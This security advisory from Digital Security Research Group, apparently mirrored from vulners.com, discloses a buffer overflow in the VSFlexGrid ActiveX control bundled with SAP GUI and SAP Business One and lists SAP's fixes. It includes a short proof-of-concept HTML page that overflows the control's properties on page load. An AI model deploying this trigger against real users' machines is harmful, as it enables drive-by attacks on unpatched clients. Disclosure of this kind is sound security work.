[DSECRG-09-017] SAP GUI vsflexGrid ActiveX - Buffer Overflow vulnerability

2009-10-0900:00:00

vulners.com

Application: SAP GUI VSFlexGrid.VSFlexGridL (Part of SAP GUI, SAP BO 2005, SAP BO
2007 )
Versions Affected: SAP GUI VSFlexGrid Activex Control sp<=14
Vendor URL: http://SAP.com
Bugs: Buffer Overflovw
Exploits: YES
Reported: 26.11.2008
Vendor response: 27.11.208
Public Advisory: 06.10.2009
Originaly found by: Elazar Broad
Author: Alexander Polyakov from Digital Security Research Group [DSecRG]

Description

Component VSFlexGrid vulnerable to Buffer Overflow which was published in 2007 and not patched in
SAPGUI untill this moment.
This component and included in default SAPGUI installation.

Details

Information about this vulnerability in public since 2007
(http://www.securityfocus.com/bid/26467/info)
We found that wulnerable component VSFlexGrid is still not patched and is using in default SAP GUI
Client installations

Tested on:
SAP Business One 2007 Client
SAP Business One 2005 Client
SAP GUI 7.10 (7100.2.7.1038)

So every SAP client is vulnerable to remote buffer overflow.

Attacker can construct html page which call vulnerable function "Acrchive" from ActiveX Object
VSFlex7L
with long parameter "ArcFileName".

ActiveX component: VSFlexGrid
path: c:\program files\sap\frontend\sapgui\vsflex7l.ocx
object classid: C0A63B86-4B21-11D3-BD95-D426EF2C7949

prototype = "Sub Archive ( ByVal ArcFileName As String , ByVal FileName As String , ByVal Action
As ArchiveSettings )"
memberName = "Archive"
progid = "VSFlex7L.VSFlexGrid"
argCount = 3

Example

from

<!–
written by e.b.
–>
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";

 while &#40;s.length &lt; 262145&#41; s=s+s;

 var obj = new ActiveXObject&#40;&quot;VSFlexGrid.VSFlexGridL&quot;&#41;;
 
 obj.Text = s;
 obj.EditSelText = s; 
 obj.EditText = s;
 obj.CellFontName = s;

}
</script>

</head>
<body onload="JavaScript: return Check();" />
</html>

Fix Information

SAP have two different SAP notes to address this issue:

FOR SAP Business One Client
The security issue is addressed with SAP note 1327004 (patch was released on July 8, 2009)
For SAP GUI
The security issue is addressed with SAP note 1092631 (patch was released on July 25, 2008)

References

http://dsecrg.com/pages/vul/show.php?id=117
https://service.sap.com/sap/support/notes/1327004
https://service.sap.com/sap/support/notes/1092631
http://www.securityfocus.com/bid/26467/info

About

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focuses on application and database security problems with vulnerability reports, advisories and
whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com

Regards,
Digital Security Research Group [DSecRG]

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[DSECRG-09-017] SAP GUI vsflexGrid ActiveX - Buffer Overflow vulnerability

DIGITAL SECURITY tel/fax: +7(812)703-1547 tel: +7(812)430-9130 e-mail: [email protected] web: www.dsecrg.com

DIGITAL SECURITY
tel/fax: +7(812)703-1547
tel: +7(812)430-9130
e-mail: [email protected]
web: www.dsecrg.com